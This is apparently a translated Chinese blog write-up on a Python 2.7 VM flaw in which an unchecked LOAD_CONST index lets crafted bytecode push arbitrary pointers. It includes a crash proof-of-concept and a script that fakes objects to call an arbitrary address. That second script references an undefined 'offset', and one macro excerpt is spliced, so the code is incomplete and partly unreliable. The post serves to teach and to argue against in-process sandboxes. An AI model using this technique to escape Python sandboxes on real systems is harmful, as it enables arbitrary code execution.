深入Python虚拟机:LOAD_CONST漏洞解析
引言
一年前,我编写了一个利用Python虚拟机漏洞的脚本:其核心思路是完全控制Python虚拟处理器,然后通过虚拟化执行原生代码。由于python27_abuse_vm_to_execute_x86.py脚本不够直观,因此真正理解其原理的人并不多。本文将详细解释该漏洞的原理、如何控制虚拟机以及如何将漏洞转化为更实用的攻击方式。同时,这也是从底层视角了解Python虚拟机工作原理的绝佳机会。
Python虚拟处理器
简介
Python是一个解释型脚本语言,其官方解释器源代码可在此处获取。整个项目用C语言编写,具有极高的可读性。
虚拟机
Python虚拟机完全实现在PyEval_EvalFrameEx函数中(位于ceval.c文件)。该虚拟机采用简单的循环结构,通过switch-case逐个处理操作码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
PyObject* PyEval_EvalFrameEx(PyFrameObject *f, int throwflag) {
//...
switch (opcode) {
case LOAD_FAST:
x = GETLOCAL(oparg);
if (x != NULL) {
Py_INCREF(x);
PUSH(x);
goto fast_next_opcode;
}
//...
break;
case LOAD_CONST:
x = GETITEM(consts, oparg);
Py_INCREF(x);
PUSH(x);
goto fast_next_opcode;
//...
}
}
|
万物皆对象
虚拟机的首要规则是它只处理Python对象。Python对象由两部分组成:
- 头部(所有对象必备)
- 描述对象特性的可变部分
通过这种设计,Python能够以通用方式处理不同类型的对象。
漏洞分析
关键漏洞点:
1
2
3
4
5
6
7
8
9
10
11
|
#ifndef Py_DEBUG
#define GETITEM(v, i) PyTuple_GET_ITEM((PyTupleObject *)(v), (i))
#else
/* 宏定义,用安全性换取速度 */
#define PyTuple_GET_ITEM(op, i) (((PyTupleObject *)(op))->ob_item[i])
case LOAD_CONST:
x = GETITEM(consts, oparg);
Py_INCREF(x);
PUSH(x);
goto fast_next_opcode;
|
漏洞利用
通过控制oparg索引和consts内容,我们可以向虚拟机栈推送任意数据。以下是触发崩溃的示例代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
import opcode
import types
def a():
pass
a.func_code = types.CodeType(
0, 0, 0, 0,
chr(opcode.opmap['EXTENDED_ARG']) + '\xef\xbe' +
chr(opcode.opmap['LOAD_CONST']) + '\xad\xde',
(), (), (), '', '', 0, ''
)
a()
|
实现任意代码执行
通过精心构造PyFunctionObject和_typeobject,我们可以实现绝对地址调用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
import opcode
import types
import struct
def pshort(s):
return struct.pack('<H', s)
def puint(s):
return struct.pack('<I', s)
def a():
pass
# 构造恶意对象
second_object = 'A'*0x40 + puint(0xdeadbeef)
first_object = 'AAAA' + puint(id(second_object) + 20)
consts = ()
s = puint(id(first_object) + 20)
a.func_code = types.CodeType(
0, 0, 0, 0,
chr(opcode.opmap['EXTENDED_ARG']) + pshort(offset >> 16) +
chr(opcode.opmap['LOAD_CONST']) + pshort(offset & 0xffff) +
chr(opcode.opmap['CALL_FUNCTION']) + pshort(0),
consts, (), (), '', '', 0, ''
)
a()
|
结论与建议
本文揭示了Python虚拟机内部的安全隐患,证明了在Python内部构建沙箱的不安全性。如需执行不可信Python代码,建议考虑PyPy的沙箱功能或构建基于SECCOMP的系统。
延伸阅读
- 使用GDB调试Python
- .pyc文件结构解析
- Python字节码修改技术
- Python内部机制系列文章